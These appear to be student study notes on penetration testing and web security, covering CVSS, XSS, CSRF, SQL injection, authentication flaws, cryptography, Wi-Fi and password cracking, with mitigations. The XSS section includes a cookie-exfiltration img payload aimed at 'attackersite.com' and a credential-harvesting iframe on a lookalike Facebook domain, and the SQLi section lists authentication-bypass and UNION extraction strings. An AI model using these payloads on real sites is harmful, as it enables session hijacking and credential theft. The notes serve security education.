Definitions:

* Zero Day Attack: Attacks which have no current available fix
* Pen Tester/Ethical Hacker: Employees who simulate attacks on a system to help improve security
* vulnerability Assessment: An automated scanning product which probes the port and services on IP addresses. These don’t test impact but identify vulnerabilities
* Cross-site Scripting(XSS): When an application accepts untrustworthy data and sends it to a browser without validation or escaping, allowing attackers to execute script in the victims browser.
* SQL Injection: An attack will send an SQL query via an input which in turn does something
* Broken Authentication: A vulnerability which allows an attacker to capture credentials or get around authentication methods which restrict unauthorised access
* Broken Authorization: Gain access to data you are not authorised to see

Pen Test Process:

* + Set ground rules
    - Start/end and blackout dates
    - Approvals
    - Identify and alert parties
    - Set expectations
  + Passive Scanning:
    - Get info about target using Open-Source Intelligence (OSINT)
  + Active Scanning and Enumeration
    - Figure out target’s public exposure via tools
  + Fingerprinting:
    - Identify OS type and patch, Application and patch level, open ports account and running services
  + Select Target System
  + Exploit uncovered vulnerabilities
  + Exploit Privilege
  + Document
* Use a ping sweep or port scans to see if one is being attacked

Tools

* Zed Attack Proxy(ZAP): A free tool for automated and manual testing of web application vulnerabilities
* CVSS(Common Vulnerability Scoring System): Assess security vulnerabilities by assigning scores to vulnerabilities which are calculated using a formula dependant on several metrics (scores range from 0 to 10)
  + Base score compromised of:
    - Attack Vector(AV): Where vulnerability exploitation is possible.
      * As one moves from physical to network: score increases
      * Compromised of :
        + Network: Vulnerable component bound to network stack and their path is via OSI layer 3
        + Adjacent: Limited to shared physical network
        + Local: Not bound to the network stack. Either the attacker has logged in locally or needs user interaction to execute the exploit
        + Physical: Attacker needs to physically manipulate vulnerable component
    - Attack Complexity(AC): Conditions beyond attacks control which must exist to exploit vulnerability
      * Either Low or High metrics. This means there is either no conditions/special conditions or is extremely dependant on them,
    - Privileges Required (PR): Level of privileges an attacker need. Score increase with fewer privileges
      * Can be either Low, High or None values. This means for exploit to be successful, needs either no, basic or high level of access
    - UI: Does an attack need another use to interact with something to exploit vulnerabilities
      * None or Required Interaction for exploits success
    - Scope (S): Does the vulnerability impact resources beyond means and privileges
      * Unchanged or Change scope means that the exploit effects either the confines of system or beyond it
    - Confidentiality (C): If information is disclosed to an unauthorised user
      * None, High or Low. Indicates how much info is leaked
    - Integrity (I): If veracity/trustworthiness of info maintained
      * None, High or Low values. These indicate how much integrity is lost and how serious of an impact it is
    - Availability (A):
      * Can a component be taken down, even partially, by exploit. Can either be totally taken offline(High) or just have reduced performance(Low)
* A screenshot of a computer screen

  Description automatically generated
* OWASP (Open Web Application Security Project) is an online community which creates articles, methodologies, tools and documents for the web application security sector
* SysAdmin, Audit, Network & Security(SANS): Private US company which specialises in training for info security and cyber security
* SANS 25(List of common dangerous errors):
  + Insecure interaction between components:
    - SQL Injection: Improper neutralisation of Special Elements used in SQL commands
    - OS Command injection: Improper neutralisation od special elements in OS command line
    - Cross Site scripting: Improper Neutralisation of input during web page generation
    - Unrestricted Upload of file with a dangerous type
    - Cross site request forgery
    - URL redirections
  + Resource Management Risks:
    - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
    - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    - Download of Code Without Integrity Check
    - Inclusion of Functionality from Untrusted Control Sphere
    - Use of Potentially Dangerous Function
    - Incorrect Calculation of Buffer Size
    - Uncontrolled Format String
    - Integer Overflow or Wraparound
  + Porous Defenses
    - Missing Authentication for Critical Function
    - Missing Authorization
    - Use of Hard-coded Credentials
    - Missing Encryption of Sensitive Data
    - Reliance on Untrusted Inputs in a Security Decision
    - Execution with Unnecessary Privileges
    - Incorrect Authorization
    - Incorrect Permission Assignment for Critical Resource
    - Use of a Broken or Risky Cryptographic Algorithm
    - Improper Restriction of Excessive Authentication Attempts
    - Use of a One-Way Hash without a Salt
* CWE (Common Weakness Enumeration: Developed list of common software security weaknesses
* Common Vulnerability and Exposures (CVE): Dictionary of known info security vulnerabilities and exposure.

Cross Site Scripting(XSS)

* How XSS works:
  + Attacker can craft malicious URL(URL with malicious text) and send it to victim
  + Victim tricked into requesting URL from website
  + Website includes the malicious string in response
  + Malicious scripts are executed from response and sends cookie to attackers server
* XSS makes use of improper treatment of dynamic content from a backend data store
* Types**:**
  + ReflectedXSS**:** Malicious script included in a request and reflected in the response. (Mostly in a URL or Form Input)
    - Attacker Crafts URL with a malicious string, send to victim
    - Victim requests the URL from website which include malicious string
    - The browser executes the malicious scripts in response which sed the cookie to the attacker server
    - Example: <img src="x" onerror="alert('XSS')">
  + DOM Based XSS: Occurs entirely in browser
  + Stored(persistent) XSS: Malicious script is saved on the server/application (like in a database) and executed each time a user accesses it.
    - If one inspects source code, can see where data has gone
    - Example:
      * <img src ='http://attackersite.com/index.php?cookie= '+document.cookie > allows one to steal a sessions cookie
      * <iframe style=' position:fixed; top:0px; left:0px bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'' src='http://faceboook.com/login.php' ></iframe> allows us to harvest credentials
    - How it works:
      * Attacker Sends crafted payload
      * Victim logs in
      * Victim visits list of pages
      * The server then responds with the attackers JavaScript
      * Pop-up is loaded
      * Victims browser then sends session cookies to attacker who then hijacks the session
* CVSS Score: A screenshot of a computer

  Description automatically generated
* To protect from XSS:
  + **Escape Dynamic Content**: Properly encode data before rendering it in a browser.
  + **Whitelist Inputs**: Restrict allowed values (e.g., dropdown lists).
  + **Content Security Policy (CSP)**: Specify allowed sources for scripts, preventing unauthorized execution.
  + **Sanitize HTML**: Use libraries to clean inputs of malicious scripts.
  + **HTTP-only Cookies**: Prevent JavaScript from accessing sensitive cookies.
* Browser Exploitation Framework project (BeEF) is a pen test tool which focus on the web browser, and using it, can launch hacking attacks on workstation within protected perimeter.

Request Forgery

* Idea is to trick the user into submitting a create/delete/update request on an existing browser session
* Relies on the following:
  + Web browser hand session data such as the cookie and HTTP authentication info
  + Valid web app URL
  + Web page functions which rely on Cookies and HTTP authentication info known by the web browser
  + HTML elements which call back to server resources such as an img tag
* Two types:
  + OSRF (On site Request Forgery): Currently rendered in victims web page
  + CRSF (Cross site request forgery): Browsing one website but are logged into one other website.
* User -Browser -Server Interaction:
  + User accesses page
  + They receive a home page
  + They click login and the browser then responds with the login form
  + The user then types in Username and Password then clicks login
  + Browser generates a post request sends it with username and password to the server
  + Server checks to see if the 2 match and then generates a page and session cookie and then sends them plus an HTML with a form in it
  + If the user wishes to update data, the user fills out the form and sends a session cookie alongside it then the server performs the action
* One way to do this is to load a 1x1 pixel image whose source is another website that causes the other site to do something
* A forged request will always be sent as part of the request
* We can always add parameters to a forge request
* If we know a form is vulnerable, we can create a similar looking post with hidden input types (not rendered/not visible) and same action on a different webpage. As it would be rendered in the background and use a JavaScript to submit the form automatically. Can embed it anywhere
* To Test for CSRF:
  + Black Box:
    - Know URL
    - Pick a URL and create an HTML which contains an http request which references the URL
    - Victim is logged in and then find a method which makes the user click/follow the link
    - See result
  + Grey Box:
    - Review the web app to see if session management is vulnerable
    - See if session management relies only on client side values like cookies/HTTP authentications
* To mitigate CSRF:
  + Generate per-session and per-session nonces and use the same origin policy HTTP header
  + Avoid using URL rewriting, HTTPS, multistep transactions and using a secret cookie
  + Do not only accept post requests
  + Log out of all application
  + Use a VM
  + For sensitive info, use different browsers
  + Change passwords often

SQL Injection(SQLi)

* Can lead to following :
  + Circumventing of access controls
  + Read sensitive data
  + Modification of data
  + Execute admin operations on DB or operating system commands
  + Read file contents of DBMS file system
* How to detect:
  + Make a list of all input fields including hidden ones and consider HTTP headers and cookies
  + Find out where the application interacts with the DB such as forms, search and other e-commerce functions
  + Use a single quote or a semi-colon (‘/;). Both need to be dealt with as a single quote terminates a string while the semi colon ends an SQL statement. Both can cause errors
  + Figure out what DBMS is being used by observing error returned by the DB or in the case we have a custom/no error message, look at the message format
* Example:
  + A computer screen shot of white text

    AI-generated content may be incorrect.
  + Idea here is create a connection, then create a statement in the connection. Afterwards, you create your malicious SQL query and execute it via the statement
* Once can exploit Boolean operators here
* 3 types of SQL classes
  + In-band: In which data is extracted from the same channel where SQL code is injected. Most common
  + Out-of-band: Retrieved from different channel
  + Blind: No transfer of data but tester can reconstruct info via requests and observing resulting behaviour
* Techniques:
  + Union: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
    - Keyword ALL is important to get around DISTINCT
    - We can use ORDER BY to determine number of columns
    - Can use null to get column types as if an error occurs, we have the same data type
  + Boolean: Use bool conditions to verify certain conditions are T/F
    - Useful for blind attacks
  + Time delay: Use DB commands to delay answers in conditional queries. Used when attacker has no sort of answer
    - Useful for determining conditions as if a delay occurs, our condition is false
* Example Injection commands:
  + ' OR 1=1 -- 🡪 Authentication bypass
  + UNION SELECT username, password FROM users 🡪 Data extraction
* Prevention methods:
  + Parameterised queries: Define SQL code and then pass in each parameter to the query after allowing for the designation between code and data
  + Stored procedures: SQL code which is defined and stored in DB itself then called
  + Whitelist input validation
  + Escaping user supplied input
  + Avoid detailed error messages
  + Enforce Least privilege

# Broken Authentication and Session Management

* Reasons we fail to protect Username, Password and Session ID:
  + Unencrypted application connection
    - MiTM can intercept credentials that is being sent or received
    - To prevent this, enable TLS/SSL on server and set secure flags on cookies to prevent unauthorised observation
  + Easy to guess login details
    - Users must use a strong password and change default passwords to avoid this
    - Length 8 passwords are most common length
  + Unprotected password/usernames when stored
    - Occurs if file it is stored in isn’t properly hashed/encrypted
    - Use Salt and hashes
  + Session ID is in URL
  + Session values don’t time out or not invalidated after logout
    - Leaves Session ID vulnerable
    - Set a timeout on session ID to circumvent or the app itself can invalidate it upon logout
* Session fixation:
  + The attacker logs into web server..
  + Server issues a session ID
  + Attacker has to send a link with the established session ID to the victim, victim clicks on the link sent from the attacker
  + Web Server sees that session was already established and a new one need not to be created.
  + Victim provides credentials to the Web Server.
  + Knowing the user's account and the session ID, the attacker gains access
* To prevent session fixation:
  + Code web app so it assigns a different session cookie immediately after user authenticates application
  + Assign a new ID after login
* Session Management pipeline
  + Session ID
    - name value pair
    - Shouldn’t be too descriptive or have unnecessary details
    - Should be long and unpredictable
    - Its contents must be meaningless
  + Session Management Implementation
    - How the exchange mechanism to be used between user and application
    - Mechanisms in HTTP help maintain session state in web apps such as cookies, URL parameters and arguments
  + Access controls
    - TLS is in here
    - Its pivotal in protecting ID exchange
    - Prevents active eavesdropping
    - Needs to be done for entire web session and not just authentication
  + Cookies:
    - Secure Attribute: Only send cookie data via HTTPS connections
    - HttpOnly attribute: Not allow client-side scripts to access cookie
    - Domain and Path Attributes: Only send cookies to specified domain and its subdomains
    - Expire and Max-age attributes: Store cookies on disk until expiration

# Broken Authorization:

* Idea is to mediate access based on a policy (i.e. let people access only what they are allowed to access)
* Types of access:
  + Network access: Connect to a service or system
  + Physical Access
  + Restricted function such as transactions or configuration changes
* Examples:
  + Account management
  + Limit concurrent sessions
  + Restrict access after a certain point of time
* Vulnerabilities:
  + Insecure ID
    - An attack might be able to guess/enumerate ID and if not validated can access things not normally allowed
  + Failure to restrict URL access
    - Using a URL, access resources not associated with account
    - Use code to check for user role
  + Path Traversal
    - By manipulating variables that reference files or adding ../ sequences/absolute paths, gain access to files/directories outside of root folder
  + File permission
    - The ability to access private files that are stored locally on web server
    - Use OS permission mechanism to show intended files to users
  + Client-side caching
    - If the browser cache web pages, attackers can access inaccessible site locations and data
    - Use http headers and meta tags to avoid this
* Access control Models (things that help manage access control):
  + Discretionary access controls (DAC)
    - Restrict access to info based on identity of user
    - Pro: Easy to use and administer. It also aligns to principles of least privileges. It allows gives the object owner total control over access
    - Con: Scope creep can occur and you have to maintain documentation of roles and accesses
  + Mandatory access controls (MAC)
    - Assign sensitivity labels on information and compares it to the label a user has
    - Pro: Only admin can grant access to people, access is on a need-to-know basis and access to an object is based on the objects’ sensitivity
    - Con: Its slow and expensive and difficult to implement
  + Role-based access controls (RBAC)
    - Admins can determine who can perform what actions
    - Access decision based on roles
    - Pro: Easy to use and administer, built into most frameworks and aligns with most security principles
    - Cons: Roles and access needs documentation and errors can occur if a user changes roles
  + Attribute-based access control (ABAC)
    - Can be thought of as Permission based Access Control
    - Permissions can be represented as strings and can be grouped into classes
* Prevention Methods:
  + Limit file permissions
  + Use randomly generated Session IDs (avoid timestamps) and only allow a small amount of time for each. After logout, destroy tokens
  + Verify the session
  + Don’t embed DB’s/ID’s/Passwords in code
  + Check authorization on every page and check URLs

# Broken Cryptography

* Hashing: One way transformation function of a string of characters to a shorter fixed length value/key representing original string
* Encryption: Process of turning information into something unreadable via algorithms
* Encoding: Turning data into another format using a publicly available scheme
* Caeser Cipher: A cyber which shifts letters by a certain amount
* Symmetric Key Encryption: Encryption scheme in which sender and receiver share same key such as DES
* Asymmetric Key Encryption: Encryption scheme in which sender and receiver have 2 related but different keys called public and private keys
* Digital certificates: used for transferring public key, a certificate is file of information that identifies a user or a server, contains the organization name, the user’s email address, country and public key
* Longer the key, stronger key algorithm
* Brute force 40 bits 🡪0.2 seconds to 1.4 minutes whereas 64 bit key take 37 days to 50 years
* Broken Cryptography is ranked 2nd in OWASP top 10 in 2021
  + This is when sensitive data that needs protections but isn’t
  + Such as when data is stored and sent in plain text
  + Old or weak cryptography algorithms are used
  + Weak keys/improper key management
  + Browser security directives/headers miss sensitive data
* Different ways sensitive Data can be exposed:
  + Threat Agents: People who gain access to sensitive data ad their backups including data at rest, in transit and browser users
  + Attack Vector: Indirectly attack to break crypto via means such as Stealing keys, man-in-the-middle attacks or steal plain text data off server, while in transit or from user’s browser
  + Security Weakness: Weak keys/improper key management, weak hash techniques
* Technical Impacts: Failure frequently compromises all data that should have been protected
* Businesses can be impacted as trust is lost and legal liabilities
* Encoding is not the same as encrypting data, it just hides the data
* Can use XOR to obfuscate plain text
* Password Cracking:
  + Gain access to passwords from data at rest or in transit
  + Aim is to get unauthorised access to a computer system either to recover a forgotten password, test purposes or malicious intent
  + Repetitive process as we try different password combinations till, we get one
  + Main Techniques:
    - Brute Force: Guessing a password using a program which will draw from a large number of possible combinations. Usually occurs when no clear weakness or to test system. Longer password, more complex it takes to crack
    - GPU: Use power of GPU to run a password through one-way hashing function and compare the hash against current hash. GPUS are used as they can perform math functions in parallel while using 100’s of cores and are much faster than CPU
    - CUDA: Uses an API known as CUDA (Compute Unified Device Architecture) and a parallel computing platform. Accts similar to GPU method
  + Rainbow table: Lookup table which is used to get plaintext from a ciphertext generated by a one-way hash
* Mitigation methods:
  + Don’t store sensitive data unnecessarily and discard as soon as possible
  + Ensure strong algorithm practices and strong keys are used with proper key management
  + Store passwords using an algorithm designed for it
  + Avoid developing custom/private algorithms
  + Disable autocomplete

# Wi-Fi Cracking

* Data sent over air
* Solid objects make it difficult to transport data
* Easily mappable
* Wardriving: Mapping wireless networks using a vehicle via Kismet and Netstumbler
* Open Wifi: No password to access network and no restriction on who can join
  + Used by hospitality
  + Uses a captive portal (aka sign in using something for faster wifi)
  + Anyone can see traffic
  + An attack can easily see who is connected, what is being sent or even kick people off network without being connected
  + Airodump-ng is a tool (part of Aircrack-ng tool kit) which allows us to analyse and assess wifi network security
  + Doesn’t work with all wireless cards due to driver support
    - Linus prefers cards with Ralink and Atheros chipsets
* WEP(Wired Equivalent Protection):
  + Original encryption standard for wireless but no longer default due to broken nature. Can be broken using bruteforce attacks on password
  + 64 bit🡪 10 Hex chars and 5 ascii chars
  + 128 bits🡪 26 hex chars and 13 ascii chars
  + Same key for all users
  + To passive attack this: we listen
  + To aggressively attack: We stimulate packets with injection and then we can kick someone off network (Deauth) or reinject ARP requests (ARP replay)
  + In 2001, we needed 200k packets to attack it but in 2007, we only needed 40k-80k, bringing attack time down from 1 Hour to a few minutes
  + Aircrack-ing tool kit:
    - Airmon-ng – Sets wireless card in Monitor Mode
    - Airodump-ng – collect wireless traffic
    - Aircrack-ng – Recover password for network
    - Airdecap-ng – Remove wireless wrapper, and can be resulting pcap can be loaded in packet analyzer, e.g., Wireshark, or searched for plain text content, e.g., Commandline: strings, grep
* Wi-Fi Protected Access (WPA):
  + Released 1999 but wasn’t supported by conumers till 2003 due to expensive hardware
  + WPA-Personal (WPA-PSK) is a passphrase made up of 8-63 characters and was compromise of a 256 pre-shared key
  + Attacks against WPA-PSK are a bruteforce attack against a captured handshake
    - 4-way handshake
    - Initial conversation between client and router
    - 4-way handshake doesn't contain the passphrase itself but has values that can be used to verify the hash
    - Offline attack
    - Can be captured as long as one is in range of AP and Client
  + Verifying thousands of passwords against handshake is computationally expensive
  + Passphrase is hashed 4096 times with SHA-1 and the resulting hash is the 256 bits which is seeded using the SSID and SSID length
  + SSID of WPA must match target AP
  + Weak Password or a known value helps above but allows us to generate a password list
    - 8-digit password that contains 0000000-99999999 can be checked in less than 30 minutes
  + Uses Pairwise Master Key that is different for each client and is renegotiated every hour
  + To decrypt the traffic, you need to catch the complete 4-way handshake otherwise packets after interval will not be decrypted
* Wireless Protected Setup (WPS)
  + User inputs an 8-digit code to receive password from router, allowing AP owner to set a nice, secure password on router
  + Must press a button on AP, then WPS is made available for a short period of time
  + Flaw reduces 9999999 guesses to 11000 as a different error appeared is first half of 8 digits was the same
  + Some routers responded to WPS request even if button wasn’t pressed
  + Routers lock up after 3 failed attempts but some brands wont lock up if there is a delay between attempts
  + Some brands have a default WPS code
* WPA-Enterprise:
  + Mainly for enterprise networks
  + Complicated to set up an manage
  + Uses a username and password and is unique to each user
  + Certificates and RSA tokens can be used here to verify authentication
  + Needs a radius server to verify credentials and certificates
  + To attack this, one would need to set up a rogue access point and wait for a connection. Once we get a hashed credential, it becomes an offline bruteforce attack
  + To prevent attacks we can use pinned certificates
* Some attacks:
  + Rogue access Point
  + Clients remember network name and can probe networks In its saved list
  + Mana tool kit
  + Deauth attacks: Deauth AP to the rogue network
  + Man-in-the middle attacks:
    - SSL Strip
    - SSL Split
    - HTTP on phone apps
    - Modify packits
* Prevention Methods:
  + Use a VPN
  + Use data
  + Avoid public Wi-Fi

# Password cracking

* Authentication is the process of determining who or what something is and seeing if they are who or what they claim to be via the validation of credentials
* Factors:
  + Something they know: Password/pin
  + Something they have: Phone/email
  + Something they are: Turing Test
* Single Factor: We just use a username and password to verify identity
* 2FA (Two factor authentication): Use a combination of two factors
* MFA(Multi Factor Authentication: Use multiple factors independent of each other
* Authorisation: Giving someone access to a resource after their identity is validated
* Access Control List(ACL): Table which tells the OS which access rights user to a particular object in system
* Breaches in passwords leads to loss of billions to fix breach, cover account monitoring
* Some statistics:
  + 1% of passwords contain non-alphanumeric chars
  + 4% contain two character types
  + 93% are 6 to 10 chars long
* Hashing here would hide the password
* Hash functions are public knowledge
* Hash functions are:
  + Deterministic
  + Have weak collision resistance and strong collision resistance
  + Non-Malleable/Looks random
  + One-way
* Infeasible to reverse engineer due to complex algorithm and difficulty to reverse
* However, if we don’t salt passwords, attackers can pre-compute hashes of all dictionary words for passwords. As identical passwords hash to identical values, one table of hash values can be used or all password files
  + If we do salt, an attack must computer hashes of all dictionary words once for each password entry. For example 12-bit random salt leads to 212 different hash values for the same password
* Attacks:
  + Dictionary Attack which uses a list of words and word patterns
  + Brute Force attack
  + Reverse Lookup Table
  + Social Engineering/Phishing
  + Malware such as key logging or memory scrappers
  + Offline Cracking
  + Spidering
* Mitigation:
  + Don’t reuse passwords
  + Long and strong passwords
  + Use MFA when it is an option
  + Change passwords quickly if a breach has occured